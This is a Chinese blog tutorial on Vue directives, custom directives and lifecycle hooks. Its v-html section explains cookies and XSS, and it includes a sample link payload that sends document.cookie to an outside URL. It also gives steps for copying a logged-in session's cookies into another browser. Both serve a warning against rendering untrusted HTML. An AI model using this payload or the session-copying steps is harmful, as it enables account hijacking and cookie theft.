十四天学会Vue——Vue核心下篇(理论+实战)(第三天)

一、Vue核心下篇

1.15 常用的内置指令

1. v-text

 <!--准备好一个容器 -->
    <div id="root">
        <!-- 1.v-text中的字符替换掉div整个字符 -->
        <div v-text="name">你好,{{name}}</div>
        <!-- 2.将标签当做字符串解析 -->
        <div v-text="str"></div>
    </div>
    
      new Vue({
            el: '#root',
            data: {
                name: '哈哈哈',
                str: '<h2>你好</h2>'
            },
            methods: {}
        });

2.v-html

功能1.解析标签结构

<!--准备好一个容器 -->
    <div id="root">
        <!-- v-text将标签当做字符串解析 -->
        <div v-text="str"></div>
        <!-- 支持结构解析 -->
        <div v-html="str"></div>
    </div>
    new Vue({
            el: '#root',
            data: {
                name: '哈哈哈',
                str: '<h2>你好</h2>'
            }
        });

功能2.安全性问题

步骤一:先讲cookie的工作原理
在这里插入图片描述

图上是登录github,这里我用csdn登录举例:

1.第一次请求和第一次响应对应①和②

我们在谷歌浏览器(其他浏览器也可以)登录csdn,输入用户名密码请求登录,发往csdn服务器;csdn服务器校验完成,就会返回给用户跳转个人中心,并且返回红色k1v1、k2v2等一大堆cookie字符串,这些字符串都属于csdn网站的重要信息(身份标识,包括用户名 密码);chrome浏览器接收之后就会保存这些网站的信息,放在放在一块区域,其他网站登录信息啥的,也需要chorme保存,但是存在放在其他区域。
在这里插入图片描述
2.第二次请求和第二次响应 对应③和④
已经登录在chorome浏览器的csdn用户想要查看自己blog里面的内容,如个人中、内容管理,都需要跳转页面,chorme就会发送请求给csdn服务器,并且带着之前保存的网站的cookie信息;csdn服务器经过校验就会响应,并且返回给网站cookie信息,也就是k3v3等信息(注意:这里信息有时候登录时机会返回所有cookie信息,有时是相应一点给一点)。k3v3等信息又会继续储存在chrome浏览器原来给这一网站划分的区域中。
步骤二:图下表示:但是chorme浏览器储存的用户csdn网站的cookie信息不能被其他浏览器知道,如果知道会很可怕!大家联想一下就会明白在这里插入图片描述
服务器给的cookie至关重要!也就是如下信息如果被盗走,不轨之徒就可以利用这些信息虚拟用户身份,向csdn服务器发送cookie信息,并且进行登陆了!这样我们的信息就会被盗走了!!!
当然大家想要自己仿造,尅在chrome浏览器登录状态找到cookie信息,使用cookie editor插件复制,然后在例如火狐浏览器大局csdn网站,使用cookie editor插件粘贴就可以登陆了。
在这里插入图片描述
综上所述,所以cookie工作原理,实际上就是我们用淘宝买东西,在淘宝网登录自己密码用户名,而这些信息被放在网站的某一个位置,这些信息我们称为cookie,cookie存放的位置属于本地存储(application),所以不会丢失,这样我们在淘宝网浏览一页一页的东西肯定会牵涉到跳转页面,此时跳转页面也不会cookie信息丢失,也就是带着登录信息,我们只要获取这个登录信息都可以登录这个账号。
步骤三:联系到我们自己写的代码中:

 data: {
            name: '哈哈哈',
            // 先尝试 看看点击能不能有alert弹出
            // str: '<a href=javascript:alert(1)>你好</a>'
  str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>
  一些具有诱惑性的语言 大家看到忍不住点</a>'
        }

document.cookie下列情况可以使用这个办法获得用cookie信息

在这里插入图片描述
在这里插入图片描述

当然,大家也需要放心,官网网站都会有HttpOnliy选中模式,不会被盗取,可是没有被选中就倒霉了!!!
所以v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

如input框,用户已提交,如果不法分子在上面绑定了cookie,就会连带用户cookie信息一起获取

***这里有个问题:***想通过dovument.cokie只有用户可以查到信息,跳转页面也看不到这些信息啊?思路不是这样想的,依据cookie工作原理,用户自己页面其实就是登录上的状态,包含着自己的cookie信息,当你想要跳转其他页面的时候,其实到时候服务器返回的cookie信息不止当前页面的cookie信息,还包含之前的。并不是说肉眼没看到自己的key value(a:1;b:2)好像就没有。

3.v-cloak

原理:主要是为了解决网速过慢,导致未经解析的模版跑到页面上。那样做太丑了

给模版添加v-cloak,当vue.js还没有缓存出来的时候,因为v-cloak 添加了css隐藏属性 所以不会展示在页面 当缓存出来的同时v-cloak会自动消失,页面就出来了
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<style>
		[v-cloak]{
				display:none;
			}
		</style>
	
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})

4. v-once指令

v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化

 <div id="root">
        <!-- v-once所在节点在初次动态渲染后就变成静态内容了,以后数据改变不会引起v-once所在结构的变化 -->
        <h2 v-once>初始化值是{{n}}</h2>
        <h2>当前的n值是{{n}}</h2>
        <button @click="n++">点我n++</button>
    </div>
        new Vue({
            el: '#root',
            data: {
                n: 1
            }
        })

5.v-pre指令

 <div id="root">
        <!-- 加上该指令  Vue不需要解析,直接在页面上呈现里面的东西,也就是跳过指令语法 插值语法解析的操作,
        用于一些不用解析的东西 会加快编译 -->
        <h2 v-pre>Vue其实很简单</h2>
 </div>
        new Vue({
            el: '#root',
            data: {
                n: 1
            }
        })

1.16 自定义指令

自定义指令有两种形式:函数式、对象式

需求一:定义一个v-big指令,和v-text指令功能类似,但会把绑定的数值放大10倍

思路:首先验证自定义big指令中,函数的参数表示什么;通过知道第二个参数存放着指令信息,利用bingding参数绑定dom元素和big指令信息展示在页面上。接着探讨big函数合适被调用,通过打印‘’big被调用‘’被输出来体现

 <!--准备好一个容器 -->
    <div id="root">
        <h2>当前的n值是<span v-text="n"></span></h2>
        <!-- 如果还未定义big函数 会报错 这里是因为没有定义big函数(另外如果在其他代码中可以联想是否单词写错两种情况) -->
        <!-- 当定义了big函数之后 只要这里一使用V-big  就会调用big函数 -->
        <h2>放大10倍后的值是<span v-big="n"></span></h2>
        <button @click="n++">点我m++</button>
    </div>
     new Vue({
            el: '#root',
            // 配置数据
            data: {
                n: 1
            }, directives: {
                // big表示指令的名字
                // 1.首先验证参数表示什么2,利用参数定义big
                //  验证参数分别dom元素和对象 对象中主要关注value值是v-big等于的值  
                //第二个参数主要是让dom元素与v-big有一个关联 所以是binding  接着进行dom操作
                big: function (element, binding) {
                    // 通过打印看被调用了几次
                    console.log('big函数被调用了    ')
                    // 指定所绑定的dom元素
                    console.dir(element)
                    // 使用instanceof验证真实dom
                    console.log(element instanceof HTMLElement)
                    // 一个包含指令信息的对象  主要关注value
                    console.dir(binding)
                    element.innerText = binding.value * 10
                }
            }
        });

需求二:定义一个v-fbind指令,和v-bind指令功能类似,但会让绑定的input元素默认获取加焦点

<div id="root">
        <input type="text" v-fbind:value="n">
        <!-- <h2>放大10倍后的n值是<span v-big="n"></span></h2> -->
        <button @click="n++">点击n++</button>
    </div>
    new Vue({
            el: '#root',
            data: {
                n: 1
            },
            // 像之前的计算、侦听属性一样都是配置对象
            directives: {
                // 函数式为什么不好用了?
                //  fbind (element, binding) {
                //     console.log('bind函数被调用', this)
                //     element.value = binding.value * 20
                //     // 实现不了 首先要input框先放入页面才能聚焦 所以就引出了出现多个阶段才能实现  引出对象式  引出该自定义指令中包含几个钩子函数
                //     // element.focus()
                // }
                // 引出对象式
                fbind: {
                    bind (element, binding) {
                        element.value = binding.value * 20
                    },
                    inserted (element, binding) {
                        element.focus()
                    }, update (element, binding) {
                        element.value = binding.value * 20
                    }
                }
            }
        });

都是局部指令,将局部指令转化为全局指令

对象式
在这里插入图片描述

函数式
在这里插入图片描述

1.17 生命周期

1.引出生命周期

我们使用几个文字,将这些文字每隔一段时间自动(开启定时器)变淡。三种情况:第一种:使用methods方法,但是需要设置监听事件才能触发,不是我们想象的文字一展示在页面自动每隔一段时间就改变,pass 第二种,将定时器设置在vue实例外部,但是我要的是放在vue内部,所以pass 第三种:使用生命周期,当vue模版被解析到页面上挂载完毕,开始开启定时器

在这里插入图片描述

 <!--准备好一个容器 -->
    <div id="root">
        <h2 :style="{opacity}">欢迎学习Vue</h2>
        {{change()}}
    </div>
    const vm = new Vue({
            el: '#root',
            data: {
                opacity: 1
            },
            methods: {
                // 1.需要设置一个事件才能引起触发 不合理 pass
                // change () {
                //     console.log('设置一个函数自动开启定时器')
                //     setInterval(() => {
                //         this.opacity -= 0.1
                //         if (this.opacity <= 0) this.opacity = 1
                //     }, 100)
                // }
            },
            // 引出生命周期
            // 用于Vue完成模版的解析并把刚开始的真实DOM放入页面后(挂载完毕),调用mounted  生命周期中this指向vm
            mounted () {
                setInterval(() => {
                    this.opacity -= 0.1
                    if (this.opacity <= 0) this.opacity = 1
                }, 100)

            }
        })
        // 2.在vue外部可以实现自动开启定时器  但是在vue外部不太好 pass
        // setInterval(() => {
        //     vm.opacity -= 0.1
        //     if (vm.opacity <= 0) vm.opacity = 1
        // }, 100)

2.分析生命周期

生命周期挂载流程

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
生命周期更新流程
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
更新周期代码

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
    <script src="../../js/vue.js"></script>
</head>

<body>
    <!--准备好一个容器 -->
    <div id="root">
        <h2>当前的n值是{{n}}</h2>
        <!-- 销毁的是原生dom事件 -->
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁一下</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
        const vm = new Vue({
            el: '#root',
            // template: `
            // <div><h2>当前的n值是{{n}}</h2>
            // <button @click="n++">点我n+1</button></div>`,
            data: {
                n: 1
            },
            methods: {
                add () {
                    console.log('add')
                    this.n++
                },
            },
            beforeCreate () {
                console.log('beforeCreate')
                console.log(this)
                // debugger
            }, created () {
                console.log('created')
                console.log(this)
                // debugger
            }, beforeMount () {
                console.log('beforeMount')
                console.log(this)
                // 在控制台操作能够演示变化  因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化
                // document.querySelector('h2').innerText = '哈哈'
                // debugger
            },
            mounted () {
                console.log('mounted')
                console.log(this)
                // 查看是否为真实dom
                // console.log(this.$el, this.$el instanceof HTMLElement)
                // 有效但是尽量避免
                // document.querySelector('h2').innerText = '哈哈'
                // debugger
            },
            beforeUpdate () {
                console.log('beforeUpdate')
                // console.log(this.n)
                // debugger
            }, updated () {
                console.log('updated')
                // console.log(this.n)
                // debugger
            },
        })
    </script>
</body>

</html>

销毁周期代码

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
    <script src="../../js/vue.js"></script>
</head>

<body>
    <!--准备好一个容器 -->
    <div id="root">
        <h2>当前的n值是{{n}}</h2>
        <!-- 销毁的是自定义事件 原生dom事件不会销毁 即使销毁一万次  原生dom事件也不会销毁  所以vue页面上不会显示 但是在控制台还是能打印-->
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁一下</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
        const vm = new Vue({
            el: '#root',
            // template: `
            // <div><h2>当前的n值是{{n}}</h2>
            // <button @click="n++">点我n+1</button></div>`,
            data: {
                n: 1
            },
            methods: {
                add () {
                    // 这里我这边验证的是销毁了就是销毁了 跟老师讲的不一样
                    console.log('add')
                    this.n++
                }, bye () {
                    this.$destroy()
                }
                // 销毁后不调用watch
            }, watch: {
                n () {
                    console.log('n变了')
                }
            },
            beforeCreate () {
                console.log('beforeCreate')
                console.log(this)
                // debugger
            }, created () {
                console.log('created')
                console.log(this)
                // debugger
            }, beforeMount () {
                console.log('beforeMount')
                console.log(this)
                // 在控制台操作能够演示变化  因为vue解析模版一系列过程是一瞬间的过程,所以太快根本看不出来变化
                // document.querySelector('h2').innerText = '哈哈'
                // debugger
            },
            mounted () {
                console.log('mounted')
                console.log(this)
                // 查看是否为真实dom
                // console.log(this.$el, this.$el instanceof HTMLElement)
                // 有效但是尽量避免
                // document.querySelector('h2').innerText = '哈哈'
                // debugger
            },
            beforeUpdate () {
                console.log('beforeUpdate')
                // console.log(this.n)
                // debugger
            }, updated () {
                console.log('updated')
                // console.log(this.n)
                // debugger
            }, beforeDestroy () {
                console.log('beforeDestroy')
                console.log(this.n)
                // 在此阶段所有对数据的而修改不会再触发更新了,就不要访问数据了
                this.add()
            }, destroyed () {
                console.log('destroyed')
            },
        })
    </script>
</body>

</html>

在这里插入图片描述

案例:通过生命周期来实现定时器的停止变换

<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
    <script src="../../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2 :style="{opacity}">欢迎学习Vue</h2>
        <button @click="stop">点我停止变换</button>
        <!-- 使用关闭定时器的方式很温柔 -->
        <button @click="opacity=1">透明度设置为1</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
        const vm = new Vue({
            el: '#root',
            data: {
                opacity: 1
            },
            methods: {
                stop () {
                    // clearInterval(this.timer)
                    this.$destroy()
                }
            },
            mounted () {
                // Vue完成模版的解析并把初始的真实DOM放入页面后(挂在完毕),调用mounted
                console.log('mounted')
                // 往vm中存  但是不用定义变量吗?这里就死记硬背吧  在vm中赋值 因为数据代理 vue会帮你做响应式
                this.timer = setInterval(() => {
                    this.opacity -= 0.1
                    // 为什么加小于号  作者是因为避免跳过0直接变成负数
                    if (this.opacity <= 0) this.opacity = 1
                }, 500)
            }, beforeDestroy () {
                console.log('vm即将驾鹤西游了')
                // 只要销毁 就把一些东西安排好
                clearInterval(this.timer)
            },
        })

    </script>
</body>

</html>

](https://img-blog.csdnimg.cn/direct/e7128460effb4f98b9b852453d177f7a.png#pic_center)

在这里插入图片描述

总结生命周期

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值